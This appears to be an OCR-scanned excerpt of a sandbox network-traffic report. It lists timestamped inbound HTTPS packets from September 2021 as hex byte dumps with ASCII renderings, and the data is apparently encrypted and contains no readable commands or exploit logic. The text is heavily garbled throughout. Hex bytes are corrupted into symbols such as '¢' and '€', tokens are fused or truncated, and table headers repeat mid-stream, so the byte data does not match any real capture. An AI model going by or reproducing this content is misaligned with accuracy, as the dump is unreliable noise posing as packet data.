a7 74 e2 0d bl ad 9b 31 94 41 01 8e 43 d0 e5 1b 5f c2 e4 95 15 75 al 97 c8 a6 5e da 94 1c 05 68 44 05 5f 50 ec 4f d8 a2
56 6¢ ff 3b 4e 28 46 77 20 e4 17 a2 5a 9b Ob cd ee 25
Data Ascii: #=$tQ#"u&;)ES.SgQ/bsG:bL{BL \.UR_H8QYdf)JdYKO?06ZpG'~RS({YZEM>Ayt1AC_u~hD_POVI;N(Fw Z%

2021-09-28 11:02:14 UTC 82 IN Data Raw: dd 24 80 72 f7 47 ac 04 ce 0d a9 7a c4 4e 59 56 08 84 3c b6 4e 3f 60 86 0d 63 ca dd 3f bc 57 69 dc ee 6b f0 55
ca 4f 82 29 e2 46 3 30 ef b4 1b 32 e3 14 55 5f df d3 9c 3f 00 27 1e 3c 2 df ae 65 52 26 dO e6 c4 00 8a fe 29 76 4d b0 73
a6 06 83 de af fd 02 8b 76 48 3b 86 ea ce 31 50 ec c7 6b 2a 8a 1f 97 b2 ff a7 3c ed 95 7c¢ 52 2d bb 95 81 de 00 5¢ 3c c7 4c
9a el 62 4f db 2a c3 8f 80 ea 67 94 a7 b0 47 42 f8 c9 a7 94 35 06 da le 3c 8b 99 88 f2 74 7d f2 b7 a4 66 d0 84 b2 56 2b
08 73 e2 8a 16 60 5e 80 ed 7e dO 1d ca 9d aa 9a e8 77 4c 26 d9 fd 10 bd da bc 60 4b a9 8c 2a 3d 55 46 99 29 40 e0 c1
12728091 bb e4 f5 29 ff 87 d1 e0 7d 9c 1d 85 4c 75 90 15 91 0a 06 17 72 3a 8¢ 86 49 f1 al 4f 32 3d 4f cc 20 ba 42 09 4¢
11 a4 c¢7 52 34 25 20 f1 80 65 d5 c8 b0 48 4d e7
Data Ascii: $rGzNYV<N? c?WikUO)FO2U_?'<eR&)vMsvH;1Pk*<|R-\<LbO*gGB5<t}fV+s A ~wL& K*=UF)@r)}Lur:102=0
BIR4% eHM

2021-09-28 11:02:14 UTC 83 IN Data Raw: 17 fa ea 06 4f 56 18 d1 7a a0 5a 21 1b 96 19 20 0 7c 37 93 2a 87 49 6b 6 d9 91 33 €9 66 00 €0 64 4 6f 9a 79
cb 08 d3 c2 €0 3b d5 29 a9 12 9f 73 44 35 db €9 6 d8 fe Of 07 c0 64 a9 bf 95 03 67 b0 8f df ¢3 ec 79 25 fa 94 4f c2 66 d7
a7 de 90 d4 07 51 25 ea 65 bb 96 58 21 cc f4 d8 16 ab 99 ab 37 c6 ff 98 17 d7 2¢ 34 b7 Oc 6b e4 b4 7f 7f 8d 17 8b 0a €0
44 d6 22 d7 67 44 c1 ea 69 1a 62 c3 8f 81 d1 92 a7 b7 ef 52 f6 53 b8 €5 c0 d1 59 8f b0 af ae 29 4d a8 77 47 2b €2 95 c1
04 2 03 Of 3f e7 d3 29 50 ac 05 0d 47 47 20 43 34 44 8a 8f dc 2b a8 23 de 76 b7 b6 ad 86 18 a5 52 77 b5 e2 a5 3d 08 a5
8f 0d 2a 56 €7 ae 00 4b 81 4e 21 06 dc 90 33 74 7a 4b dd f8 24 a8 4c el 4c 3b 45 e2 13 8¢ el 06 29 cd 83 9d 37 fa 5f 95
92 9d 38 2f 9¢ a4 ed 6f b7 Oc f2 13 ee 67 43 13 €5
Data Ascii: OVzZ! |7*Ik3fdoy;)sD5dgy%0fQueX!7,4kD"gDibRSY)MWG+?)PGG CAD+#VRW=*VKNI3tzK$LLE)7_8/0gC

2021-09-28 11:02:14 UTC 84 IN Data Raw: aa bc a9 92 2b fc 40 53 f5 b7 9b 90 b9 4a f2 db 39 a3 32 9e da 50 55 c1 bc b2 5f cc 01 a5 90 2f 09 5d be 47 16
6a 7c dd fc 72 b5 46 49 9c a0 b4 a3 4c 4c¢ 20 ce c6 38 a2 ¢8 a5 79 78 b3 8a 1d da af 47 b3 4f b4 6a c7 18 5a 56 a5 a8 ed
f2 29 fc f7 d5 1c 7c ba 53 64 36 bd 9a 00 a6 77 31 12 63 3c fb d8 38 b0 a9 20 f4 15 0f c4 31 bc 43 9f b4 el 4a 34 5¢ 16 08
27 Oe 6e 95 ¢5 25 b5 72 77 f4 03 84 2d 79 53 88 df c4 ¢3 02 f3 69 b6 82 f1 ad 62 e3 f7 7b 1b a5 3d 89 dc 08 af ce 6f 43 ce
7b bb 85 ce df Of b7 8f 80 75 96 4b 23 8a 07 d2 ef 12 7c 1c f5 9a 13 4c 89 88 €8 52 30 db b7 15 le 66 22 3e 54 c6 f9 54 dd
56 38 4f f5 3c 21 02 44 77 2a b3 23 a5 ¢9 9b 01 c0 38 90 ce 3a cc cd ba 7c b8 83 86 cb 8c 53 20 8a 40 ea le 3b dO b0 08
e8 a5 dc f2 85 aa 4c 65 79 fc d1 77 e6 e0 dc
Data Ascii: +@SJ92PU_/]Gj|rFILL 8yxGOjzV)|Sdéwlc<8 1CJI4\'n%rw-ySib{=0C{uK#|LROf'>TTV8O<!DW*#8:|S @;Leyw

2021-09-28 11:02:14 UTC 86 IN Data Raw: 84 4c d5 a7 bf f8 83 ac 9d fa 59 9e 9c b8 4 cd cd d4 b0 9e a2 a0 3b 92 57 09 45 2b e9 ae 87 1d el 00 06 38 78
b6 96 53 80 Oc 32 16 4c 20 58 34 4c 15 02 9c 05 aa 02 f3 Oc a9 49 58 70 11 37 3e 3f 3b dd af 15 4b b1 a7 f6 22 4f 7b f1 43
5e 8b 53 05 59 d3 86 2a 5a 3f 65 c5 e3 28 a4 d8 2d e5 29 44 e6 1d e6 ed 97 b5 cd 8b 7c da fe 5d 84 8a 91 7b d5 8a 52 da
7e bc 6¢ cb 3a 9d 7c¢ 5b 08 55 13 39 8¢ ca d0 cc 5b 4f b6 6d 3d fe d9 2e 01 8b 97 65 a6 57 eb 54 d2 2a 9f 46 37 fe 4f 32
e5 dd 4a 8b 8d a4 9b 25 a9 39 1c ca 6d a8 ce 10 6b 1a 1f dO c5 9b 00 e8 92 fb 5 89 a8 b5 10 f8 d3 40 3c 9e 94 a9 68 a3
95 5 3e 45 5b 8f 91 14 6a 28 8b 5e ab 8e 93 d9 33 6 59 bd 68 6b b3 b1 Oe dd 27 e2 40 9a 73 a4 1c ae 56 55 7c c4 42 67
3e 24 84 36 aa 18 ¢5 69 8f 25 c2 e7 ce 36 d3 8a 66
Data Ascii: LY;WE+8xS2L X4LIXp7>?;K"O{C SY*Z?e(-)D|{R~I:|[U9[Om=.eWT*F702J%9Imk@<h>E[j(*3Yhk'@sVU|Bg
>$6i%6f

2021-09-28 11:02:14 UTC 87 IN Data Raw: f6 00 ec 6e b0 53 82 c2 85 a3 41 f9 41 e6 aa b3 a5 75 3f 52 12 19 a5 35 ec 78 8¢ ae ca 7f 38 d8 23 bb 8f ba 3
1c a4 8390 al 91 4b 29 a0 42 a3 d1 1a 77 Oc f8 ff 60 1c 84 97 c2 84 73 f5 96 16 1le 69 33 f7 2e 17 e4 58 bd a4 16 6e f5
36 09 41 46 77 20 eb 17 09 59 9b 07 c1 82 7c ef 19 df c8 a5 09 dd eb 39 c8 a0 57 0a b1 8b ea 14 29 c7 52 Ob eb 72 cb 3
8d 2e 32 eb 67 d0 29 fa f5 a3 de d2 b4 35 28 0Of 16 27 44 e2 25 40 be a7 b3 e8 45 41 52 cd dd ac eb 1d 76 4a fe 95 e0 ae
60 df e2 7a 8b 26 0d 40 1d 42 9f 19 3f c8 ae bc 37 47 b0 97 34 ff e0 2d bb ba fa a7 8e 3¢ 44 a2 35 d7 63 d7 17 ec cb be 11
ab 9b el 2d c9 34 bd 91 e6 e5 ae ed 86 70 d4 eb 4a ad 73 bc 12 39 6e ec cd 1c e5 e4 8a 18 5f 00 2e 53 21 50 25 06 68
d4 2a f2 76 39 Oc 1c 87 58 63 c2 14 91 1f cf 5f 5e f6
Data Ascii: nNSAAU?R5x8#K)Bw 'si3. Xn6AFw Y|9W)Rr.2g)5('D%@EARVI z&@B?7G4-<D5c-4pJs9n_.S!P%h*vIXc_"
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kBytes
Timestamp transferred Direction Data

2021-09-28 11:02:14 UTC 88 IN Data Raw: 2e 64 0b c9 c8 da ee 31 0f b4 67 26 da 82 f4 72 c6 84 60 bd 72 26 7f d2 20 b5 7e f8 fe 45 2e 3d 36 59 8a 8b 29
2a 04 e2 7d 74 Oe 6d b9 c5 03 84 1d e5 5a f9 97 1b f9 e6 2b e4 86 b3 ad e3 fb f8 21 00 9b 83 75 f4 80 e6 b4 3e 38 98 a7
d3 12 7528 89 55 d8 d8 9e c6 11 20 1a 93 49 63 e0 3a Oc dd 29 80 7b 89 7e 21 2d c4 25 16 05 09 48 4f 7a 91 eb b8 bd
58 0a 43 c327 dd c4 7f 28 d7 f1 78 d9 f5 61 6e 70 a5 7b 82 52 25 6e 4c 30 39 05 1e le dc 19 42 83 da ed 86 3b 39 f5 24
a9 09 4f 9d 74 54 3b 01 e4 ce 7e b8 ed 38 42 03 8b 88 59 38 9c {7 81 fd 00 fa a6 7b 30 8b c1 88 a4 4b aa 52 a7 2a 8a 17
93 d0 cd ca 08 e5 8c 1c 09 af bd 95 8d e0 6a 70 3c cd 6e cf dO 69 4c eb 81 43 8e 86 83 d8 aa a5 ba 4a 2d cb a4 93 9c 1d
49 f0 db 32 a3 d9 9c da 50 6e fd ab a3 5a c8 9e 89 80 04
Data Ascii: .d1g&r'r& ~E.=6Y)*}tmZ+!u>8u(U Ic:){~!-%HOzXC'(xanp{R%nL09B;9$0tT;~8BY8{0KR*jp<niLCJ-12PnZ

2021-09-28 11:02:14 UTC 89 IN Data Raw: cd e3 a5 39 00 08 92 36 4e ca 7f 51 a8 a6 f7 71 44 46 43 20 d6 82 ee 89 3b 4a f9 82 0f a3 4b 51 b3 71 8b 20
3d 13 1c 6e 97 1a Oe e2 4d b4 5b 00 8f 97 30 70 7f 34 ba ba e3 bf d7 3c 31 a8 5a 56 6a d7 11 71 e2 b5 3a f1 88 ef 35 4c
fe 91 8b e6 ee c4 20 50 ff fa e8 c5 85 71 bb 9c 04 be ec cc 09 67 54 34 1e 4b 2a 34 70 8¢ 57 32 f2 41 cb 29 ea 77 2e 87
3b 79 59 4e e7 24 92 64 Oe 77 04 f2 66 7c 5d 51 61 d6 20 ef d9 1e 30 8 29 a2 31 09 47 44 32 cc 01 df c8 fe 18 06 8 5e
b0 41 9e 07 dd 9b 8d fe 4c 7 1f fd f3 94 5a c8 f4 03 a6 f2 94 b9 bd 7b 3b fd 68 21 ad 51 3f 32 e6 c4 38 ba 76 bc bb 9 47
98 16 d0 12 d6 b2 34 b4 c8 f9 6e 7a 8a 11 e7 32 el 68 d1 39 55 7c 3b 8f 5a ec 5 66 f9 a9 ab d2 e9 61 9d f0 5f 6b ed b5 8
d3 d8 a3 8e 8d a6 b5 21 69 25 64 41 3f c9 99 c9 Oc
Data Ascii: 96NQgDFC ;JKQqg =nM[0p4<1ZVjq:5L PqgT4K*4pW2A)w.;yYN$dwf|]Qa 0)1GD2"ALZ{;h!Q?28vG4nz2h9U|
;Zfa_k!i%dA?

2021-09-28 11:02:14 UTC 91 IN Data Raw: 63 a8 f6 6¢ el 42 b6 76 91 21 c0 29 4d 34 e5 a3 00 75 db 15 55 5f a6 c4 95 36 2e f1 09 39 e0 a3 64 73 43 2b
59 40 df b5 ad ea 3a 73 4e 58 66 al 11 9a 67 97 d3 25 90 66 6a 37 9e cd 9d 2a 5f 8b 80 4d 2b 8a 1f b8 77 f2 8 02 c7 bl
76 7a e4 ac 93 96 c7 3f a4 2f c8 57 83 ¢3 7f 77 22 ff cf 9e 80 ea 8d 96 a7 bc 51 5b dc 74 97 96 33 63 d8 d9 38 8d 99 8f d2
35 68 f3 bd b8 44 ca 9a 4c 83 3e 19 64 9c 54 98 d7 6b 25 02 8d 40 7 c7 b8 88 85 2f 73 46 33 df fd 06 bd da bc a8 78 a4
af 02 f5 10 5a 9f 46 8c e0 c1 18 42 49 95 bb 6f f3 38 f3 4d e4 e2 7d 99 72 66 4d 6f 9a 00 a3 32 0d 6e 11 37 €3 b8 5¢ d9 f9
22 fe 37 65 ¢6 31 a5 65 dd 5a 2f b5 cb 43 22 1b 28 1f 69 91 7 cO b4 59 56 08 01 db 11 63 58 82 c1 b8 4e 42 dd 6b ab al
b3 a8 7a 17 de 14 1b 8e 35 ba 50 8e d5 9d 6b 30 fa
Data Ascii: cIBv!)M4uU_6.9dsC+Y @:sNXfg%fj7*_M+wvz?/Ww"Q[t3c85hDL>dTk% @/sF3xZFBlo8M}rfMo2n7\"7elez/C"
(iYVcXNBkz5PkO

2021-09-28 11:02:14 UTC 92 IN Data Raw: €2 16 ca 43 88 69 d8 36 el c8 f1 34 4a 9a 9e 2e 12 4c 4e 2a cf ec d4 e4 ed 05 10 16 58 87 b5 8e 2f €5 3a 8f d5
ef eb 77 3c f3 8554 d4 77 d7 a7 de 99 c5 7a al 2c 2f el 90 87 51 3e 3f ea f9 28 b0 9d ad b1 e6 ec 66 17 ed 02 ee bb 13
75 db f3 6e 6b 91 Oa e6 32 el 68 d8 30 4e 6f ed 8d 56 ea 1c 74 df a7 ac da 8d bd 63 f1 77 ec 62 19 f4 c9 cb b8 9f 8f a8 aa
3b 9d 3d b6 46 07 e5 85 d6 18 fb 19 05 2e ff cf c8 43 7e 07 36 5f 5f 25 68 4f a4 7c 8e c2 14 b9 02 db 5f al 56 5d 87 08 8d
4a 68 2a d5 ba 2d 1a b9 a7 ed 21 49 e4 7c 03 70 80 5e 3c 1f 5f 31 f6 79 63 6d d6 €3 21 af 44 86 74 3a 69 ec 06 9c 2a 91
2f da 90 5a da fb 5d 84 8f 96 c0 2a a7 7b f8 77 a6 Oc ff 38 8¢ 7c 5b 15 c1 61 54 85 db d3 5 11 d7 a5 62 33 0 d2 fc 72 dd
9f 72 52 7e 85 55 ca 33 bd 05 24 f4 5a 24 74
Data Ascii: Ci64J.LN*X/:w<Twz,/Q>?(funk2hONoVtcwb;=F.C~6__%hO|_V]Ih*-!l|p"<_1lycm!Dt:i*/Z]*{w8|[aTb3rrR~U3$Z$t

2021-09-28 11:02:14 UTC 93 IN Data Raw: 2d 73 a9 8d 46 12 71 5f 90 2a e8 ac 25 ca €6 7d b2 2f 77 60 6e de d3 2f bl ce 9e a0 7c a2 83 14 78 56 46 9f 47
98 f4 d5 30 f9 49 95 b1l ca 6e 38 f3 e2 f4 ee 69 be cc 64 4d 73 8¢ 8d a5 04 0f 11 77 22 f7 9a e8 f1 ab 2a d6 67 4f c6 3b a7
58 ab 68 1d b5 c9 41 5¢ c2 28 Oe 7b b2 a9 db b4 58 52 fc 2b b0 02 7d 42 8e d2 86 66 47 f1 6f aa 27 b4 af 62 e8 cb 2c 0d
8d 94 91 b3 86 86 52 69 30 fa 68 b7 9b 98 5e 0f b7 83 be bd 93 4b 29 a3 55 c4 fb 30 d4 06 e6 9f 3b 07 86 97 c2 bd 3c 83
a4 1c 0f 6d 3f 07 28 50 e6 5e a4 86 45 66 €3 12 2e 01 55 7d 22 db d7 8c 58 9d 27 dc 92 08 fa 14 ce c9 ad bb a4 93 69 c1
b1 52 1c d9 76 15 el 2e ee 6f 80 e8 a5 c0 e3 f1 76 5d 6a 62 d2 54 aa ca a3 da 5d 10 2e f0 92 81 38 4a b1 a2 40 be a9 fO
71 55 47 53 cf d3 bf e2 e5 02 4a fe 96 f3 d9 be 53
Data Ascii: -sFg_*%}w n/|[xVFGOIn8idMsw"*gO;XhA\({XR+}BfGo'b,RiOh"K)U0;<m?(P Ef.U}"X'iRv.ov]ibT].8J@qUGSJS

2021-09-28 11:02:14 UTC 95 IN Data Raw: 39 f0 01 1e 24 fa ed 6b 53 80 00 Oc d9 49 20 52 3c 4f 97 65 f5 a4 aa 08 d1 66 ba 49 52 73 66 cc 4f 7e 33 fb b4
36 21 97 a4 fc 2d 39 81 80 02 56 ad 57 28 Oa da €9 f2 72 7c 6d 94 e7 25 f8 62 93 8e 1b fe 7 17 9b 6f bc bl cd 8b 17 9d
f9 75 1a 84 8e 34 07 d9 6f ea 6b 25 Oc €5 3b 8¢ 66 15 15 2f 7f 42 el a4 d8 e4 13 5e b9 76 23 e7 fa 45 72 cc 95 74 bc 6e
a6 41 04 4f bf 04 35 f4 41 02 e5 5b 4b 81 a7 2d 8b 3e a6 69 le ca 02 56 c1 0a 9f 4a 18 c¢7 dd 93 5d d7 94 ff c4 3d b6 bc
ee ad d4 56 3a 86 d3 2b ce f6 9d ea 06 57 fc 8d 91 1a 66 33 89 40 be ac dc c¢5 13 59 49 95 5e f3 db 6b 1f cf 3c ab 11 f6 71
ae Oe d7 34 05 6f d1 66 19 6f 34 95 2d ab 8e 63 63 8e 25 d7 ca f5 56 d1 9b 63 f1 f6 62 e5 1f 89 72 84 09 53 6f 4c 34 bb 99
09 1e d2 44 01 7e e6 e3 9f 20 39 f6 75 d3 f4 b0
Data Ascii: 93kS| R<OefIRsfO~36!-9VW(r|m%boudok%;f/BAVAENAOSA[K->IVJI]=V:+WI3@YI1"k<q4ofod-cc%VebrSoL4D~
9u

2021-09-28 11:02:14 UTC 96 IN Data Raw: 8d 95 bb 8f b4 e2 1b ca 68 a8 30 90 49 2a df a4 d0 ef 1c 75 02 9b 73 13 5d 82 95 e8 ac 71 6 96 91 24 6f 2b 2e
20 b7 e6 58 b3 8e 27 1f {7 3c 2b 7f a7 77 2a 7 7a f6 bb 9b 01 ce 83 60 e la df c8 b8 1e c4 9a 78 cO dd b9 22 f1 8d e8 65
db e9 56 08 ea ca 8f e0 8a a0 5f 11 85 d0 2f 72 ¢8 d8 39 d3 a7 3d 3c 0a e9 d1 48 ca 7b ce 09 c2 a8 68 44 4b 56 a5 33 ae
ec 9532311994 f1 a6 71 51 df 9d 8b 27 21 63 aa 2d el 33 Oc c3 ac cd c3 cb 8f 93 20 00 ce a9 bb ba f6 fc al 3e 44 a2
3520 60 d7 1b 62 8f 5a 11 aa 8c fc d1 b4 48 bc 91 e4 9f ca €9 50 f5 91 9d 48 af 7b b9 89 02 86 ec cc 09 c3 e3 06 4d 6f 03
2f9b 8d 50 25 c6 40 e7 3a e4 6f 28 b8 f1 86 58 62 ea 36 96 00 d1 89 05 da f9 c9 7e 9e Oc 44 20 e8 c1 9d d5 c4 2d b2 04
06 5f 42 35 cb f9 c0 1a fd 23 1d ea 22 40 bf 9f
Data Ascii: hOI*us]g$o+. X'<+w*z'x"eV_/r9=<H{hDKV321qQ'lc-3 >D5 "bZHPH{Mo/P%@:0(Xb6~D -_B5#"@

2021-09-28 11:02:14 UTC 97 IN Data Raw: 8e 4b 4f a3 c6 22 88 25 a7 7b 05 €9 6a bf b5 9d 95 1b 32 ff d0 bf 65 19 9d f1 2 1c bc 62 €0 dc d7 65 3e 99 89
72 cd b0 95 15 36 €6 92 88 bb 10 74 32 98 51 ab 9f bc ¢6 10 23 58 9f dc 69 ¢8 78 e4 df Ob 86 7e 98 79 ac 12 b9 2f 15 7e
0 4a 59 03 2d 85 3c b8 5a 7f 14 8d 25 d7 b3 d1 38 d3 9f 6b a2 77 6¢ el 53 d8 74 81 29 ec 6¢ 58 49 ff b3 0d 1e cf 02 3f
28 d8 e1 97 32 02 dd 18 2b 9b 0d 63 65 54 2e ff 77 ca 6f b4 d6 03 7 49 77 75 c9 c8 94 {6 87 d7 02 81 60 68 00 8¢ c2 6a
3550 ea 66 a7 2a 9b 01 10 b7 f2 ¢8 Oc cf 20 77 7a ee 97 14 85 c8 22 2 29 c6 46 88 2 69 47 3 ee 4a f4 86 85 aa 14 b3 bb
4057 e2 d8 87 97 35 08 7c 6¢ 2f 51 92 95 f1 75 7a 4a b7 a4 59 dd 9a 5 86 19 04 55 ad c5 ae 8d 52 90 98 13 b5 02 cc 9b
b7 d6 25 7b 5b 16 ¢3 dd 23 8¢ 38 ¢8 62 79 a2 81 05
Data Ascii: KO"%{j2ebe>r6t2Q#Xix-y/~JY-<Z%8kwlSt)XI2(2+ceT.wolwuhj5Pf wz")FiGI@WS5|I/QuzJY UR%{[#8by

2021-09-28 11:02:14 UTC 98 IN Data Raw: ad 3e 1f 9b 64 fd 2b 50 e0 9c 11 58 8b 48 29 03 2f 87 Oc 75 7f 70 f6 d6 38 ad 4a 9a 9b 3f 5f 18 16 b7 3e bc ab
d2 87 43 c9 e059 8b 7b 8f 12 20 82 7c 93 71 be 1f f1 27 94 65 40 04 2e 64 64 70 cb f6 €8 1b 54 b0 14 75 f2 c1 fc 7e d1
86 61 ac 6e ad 4d 2c 21 9b 00 2c f4 59 39 8e 59 5a 8f 9c dd 89 03 b5 67 1c c1 6d a8 c5 13 6b 1a 1f dO c4 9d 01 e8 99 fb 5
82 al 42 ef d5 fc 45 2d 9d 83 6e el 97 9c Ob 3d 14 90 a4 94 28 1c dd 67 ae a2 b5 9c c6 1b 1b 68 93 49 22 c8 79 Oe 0f 23
91 6f9a 1c 2¢c 06 c4 2f 39 71 ¢7 5f 61 75 Oe aa 3e bc 5e 7f e8 8d 25 d7 b4 ae 82 d2 9b 6f d7 e3 6e 9¢ 57 a4 7b 84 2e eb
13 5e 35 ef b6 0a 1e b0 07 54 55 cd e7 f8 ed 29 e7 1c 10 f6 b7 48 61 7f 2a d0 98 00 6e be fa 5a f8 67 71 7d dc 00 86 c6 87
fd 3581 60 7b e3 8f c2 1d 37 2b f8 a9 a7 2e 9d
Data Ascii: >d+PXH)/up8J?_>CY{ |g'e@.ddpTu~anM,!,YOYZgmkBE-n=(ghl"y#0,/9q_au>"%onW{."5TU)Ha*nZgq}5 {7+.

2021-09-28 11:02:14 UTC 99 IN Data Raw: 52 53 51 e6 5c a8 9b 47 69 f5 2d 24 1a ba 76 06 ff 7a f6 4a 9a 01 ce 96 21 le 02 cc c7 ba 7c b2 8e 86 cb 8c 5e
35 e2 8c ea 0f 3a f6 41 2 €9 89 c2 ca 8f 92 b1 97 99 2f 05 76 ca a3 cd e3 a2 39 2f 0a 92 36 90 ca 7f 51 bc d6 cc 6b 44 45
79 d5 ff 6f e8 91 36 39 7d 96 f1 a8 1d 20 db 78 8b 2d 29 fb 17 7a 40 30 Oc c9 ac cd 30 ca 8f 93 32 d6 dc 1f ba b0 e3 9f c5
2c 2a 88 0a 1d 63 d5 7b 20 33 bf 11 aa 8a 93 3f b3 ff b9 97 fc 3a 97 60 52 ff f4 cb 4a a7 71 bb c1 69 90 ed da 3 e8 f0 01
5c 24 10 2e 7b 88 56 3a 06 96 cf a0 fO 7c 24 93 2e 85 23 72 eb 27 94 19 da 7b d2 de fc ca 6f 90 6b d3 22 93 d0 el 31 cO
2b a9 0b c5 64 50 34 da f5 cd el fe 74 1d e9 59 af b9 80 3f 09 98 9b d4 ef ff 0a 25 7 96 25 db 7a 29 a2 f4 89 da bb 53 2f
8 6¢ bl e9 42 35 30 8e e4 3a ba 99 ba a4
Data Ascii: RSQ\Gi-$vzJ!|*5:A/v9/6QKDEY069} x-)z@002,*c{ 3?: ' RJIqi\$.{V:|$.#r'{ok"1+dP4tY 2%%z)S/IB50:
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kBytes
Timestamp transferred Direction Data

2021-09-28 11:02:14 UTC 100 IN Data Raw: d3 6e e0 80 fa 3f 3d 38 94 a3 8f 01 71 33 9d 2a b2 9e 9c c2 13 19 5d ea 53 68 c8 7d 1f d8 58 b5 7f 98 77 c1 cO
c5 251258 d6 4e 67 e9 24 84 36 91 e2 d2 65 9d 23 23 d8 fa 39 d3 80 06 8b e4 6c eb 85 a7 2b ef el e9 6e 4a 25 eb dd c5
1b cd 12 57 05 b2 ed 96 36 2c cf 23 3c f4 ba 6b 67 02 57 da f6 c8 6b 96 64 2b 7c 6f 73 75 f6 7b 98 f7 81 f9 00 d1 1b 69 31
8f c6 24 f7 51 ea ae f6 f4 al 3d a7 a3 f3 c2 1e e4 bd 4e 7a ee b5 4b 98 c1 00 43 3c c7 4c a0 d4 60 6e ca ee c7 85 8e ad 9¢
94 a7 b0 6¢ 55 fc 8e aa 96 35 06 2e cc 12 8c b5 9e db 72 7d 2 bf b2 6f db df 16 90 21 08 75 8d 46 16 60 79 87 57 aa bf
27 d2 9d a0 b3 2d 73 61 20 76 33 3e a0 da b6 76 78 b1 b5 06 5 97 46 9f 46 51 e0 c1 09 4c 5a 91 83 48 f2 38 3 €8 f4 e6
6a 68 73 4a 4e 6d 89 04 a2 15 Ob 08 9d 37 cf b8
Data Ascii: n?=8g3*]Sh}Xw%XNg$6e##91+nJ%W6,#<kgWkd+|osu{il$Q=NzKC<L 'nlU5.r}o!luF yW'-sa v3>vxFFQLZH8j
hsIJNm7

2021-09-28 11:02:14 UTC 102 IN Data Raw: d3 f4 be 11 b1 9b ee 2f a3 f9 a0 6f e3 c0 af e3 53 84 da ea 4a ab 1e 23 9e 7f 64 e6 d2 le ef €3 17 58 41 fe 2e
57 80 52 26 63 97 €6 2b f4 71 31 89 30 81 58 73 ec 38 99 el c4 5b 4c f4 93 ¢5 6e 9a 7c c3 ad c3 c0 e0 30 d7 28 a7 1e 05
53 14 a9 cb fa c9 fb b7 93 1c ed 41 bc 23 8e 2e c6 a8 13 c4 ea ef 7b 21 6f 85 5b dO 64 22 3a €3 93 de 72 6f a7 €8 69 a6
91 cd 2e 37 e3 ea 54 13 9d bc bl e6 f5 8b 10 ¢1 15 c3 a9 1c 9f c9 d5 4c 78 e0 1b 1 cc e4 46 d1 5a 67 79 3b 9a 31 20 Oa
67 d3 8f 27 d2 92 a7 8b ea 34 4c 5a b8 fe d6 da b4 88 9c b3 ac 36 69 25 64 57 23 e0 fd df 1e el Oe 60 b6 ee c5 dd 5a 9d
15 1c 54 5f 26 4d 33 a5 82 5d c5 05 d1 06 da 4e af 58 56 51 90 a3 4d 74 2f c5 ca 94 09 b3 ad e3 24 45 eb 82 13 5a 94 53
d3 la fd 89 23 09 59 66 c5 ed 18 7c 4f 9a 8a 24 4e 5
Data Ascii: /0SJ#dXA.WR&c+q10Xs8[Ln|0(SA#.{!o[d":roi.7TLXFZgy;1 g'4LZ6i%dW# ZT_&M3INXVQMY/SEZS#YO$SN

2021-09-28 11:02:14 UTC 103 IN Data Raw: 91 35 6f a3 f3 c8 94 6 89 56 85 ee bf 95 1b c1 35 52 ¢3 ¢7 46 8c 4e 60 58 d3 11 c7 8f 86 19 a2 8b ae 9a bf 53
f4 a6 Of 9f 2a 06 d2 24 38 8b 9f 02 d3 45 76 d2 42 b2 55 db 11 93 86 30 04 1a 24 46 16 6a 4b e ef 76 bf 38 cc 82 ae 4c
2e 5f 67 22 b4 db 3f bd de ac fb 53 a2 85 03 f8 58 50 80 16 10 €9 d6 07 11 d5 9c a3 fe 6e 31 ea 5 79 eb 6b 8¢ 1d cf 4d 75
90 1f ad 17 Ob 10 72 32 fc a7 b5 f0 87 2a 80 28 4e c6 35 ba 4a c9 49 19 b5 da 47 38 12 d6 0f 53 8d de a0 ba 5f 41 12 16 df
89 79 53 88 d0 b4 df ea f1 69 b6 b5 b9 bc 66 €9 ce 3¢ 01 5b 36 bd bc 8e d5 c0 68 30 f4 16 26 8d b0 ea 07 ae 96 ac 30 85
4136 a8 bf d1 ¢3 31 75 7d e8 94 13 59 84 ec c4 ad 31 f3 19 96 0d 6f 21 45 5f 2b {7 59 b7 88 82 44 69 3e 21 08 52 69 45 5a
78 8d 52 84 0a d9 85 0f c0 1f cO d2 44 6¢ 9b
Data Ascii: 50V5RFN' XS*$8EVBUOSFIKVBL._g"?SXPnlykMur2*(N5JIG8S_AySif<[6h0&0061u}Y10!E_+YDi>IRIEZXRDI

2021-09-28 11:02:14 UTC 104 IN Data Raw: ba d5 f2 89 10 dO 03 86 48 f1 9e 37 e6 7a 69 93 15 el c4 ff 49 2¢ 20 6a 73 3¢ 88 60 32 f5 98 2a b8 b3 c3 9a ad
8c f8 4d 1b 5b 94 7 de d8 af 8e 8d aa b5 Oe 69 25 64 45 00 e6 be 78 e3 1e f5 25 3d de c6 d7 2d 80 06 1a b4 4e 20 43 2b
50 a8 6a dd 00 bd 6 da 62 a9 51 59 79 Oe b7 b3 7f 15 df b2 36 09 b4 bf 02 2a 7a ef a9 00 77 68 56 2c 33 4e 84 20 78 10
44 c5 e9 21 be 4e 9a 8a 7b 1e ce 86 9b 3b 9d Oc c6 95 6f 69 {3 5d 9f 9e ec 54 4b 84 7f c6 dd bd 1f ff 27 96 14 2e 64 30 61
50 2c c8 da ee 06 5d d4 0d 4c fd cO de d1 ce 95 6f b3 6a cb 3c b2 2f b6 2d 91 fc 45 20 aa e5 4c 8b 8b f9 97 36 d4 15 6f 7d
47 aa f1 0d 95 33 32 d5 d3 74 1b fb 8c ed {7 8e 8f a4 ef f9 ff 52 2f 91 9b 81 e4 a4 85 6 23 21 6 af 2d 17 75 22 4f d5 b8 98
85 d5 13 08 49 99 54 97 c9 55 02 de 3c 8e
Data Ascii: H7zil, js<*2*M[i%dEx%=-N C+PjbQYy6*zwhV,3N xD!N{;0i] TK".d0aP,]Loj</-E L60}G32tR/#!-u"OITU<

2021-09-28 11:02:14 UTC 105 IN Data Raw: a8 b5 f0 87 25 d5 b1 54 d5 39 b6 44 d7 45 08 4b ca 6f 2b 0a 2e 19 3f 6¢ 22 24 4b 41 57 e5 08 f7 02 73 4f 7c c7
82 bd 40 f9 71 6a 82 38 ad 62 e3 d5 25 Oa ad 37 80 bb 93 a3 30 68 1c e4 7c b8 87 af ec db 9f b9 a9 30 9e 36 32 a3 41 d4
f0 16 64 Oe €6 84 1b 42 91 69 c9 80 28 f2 95 14 10 63 fd 07 61 51 e6 52 9f 24 56 6¢ ff 41 00 03 44 73 35 eb 6b 85 58 8a
09 d4 7f Oe fd 14 dc ca a4 bb 9f 13 7a ca aa 4e 26 ee 80 f9 16 3f f8 5e 13 e4 5b c1 cd 9b af 26 71 67 d0 2b 63 a4 e3 84 2d
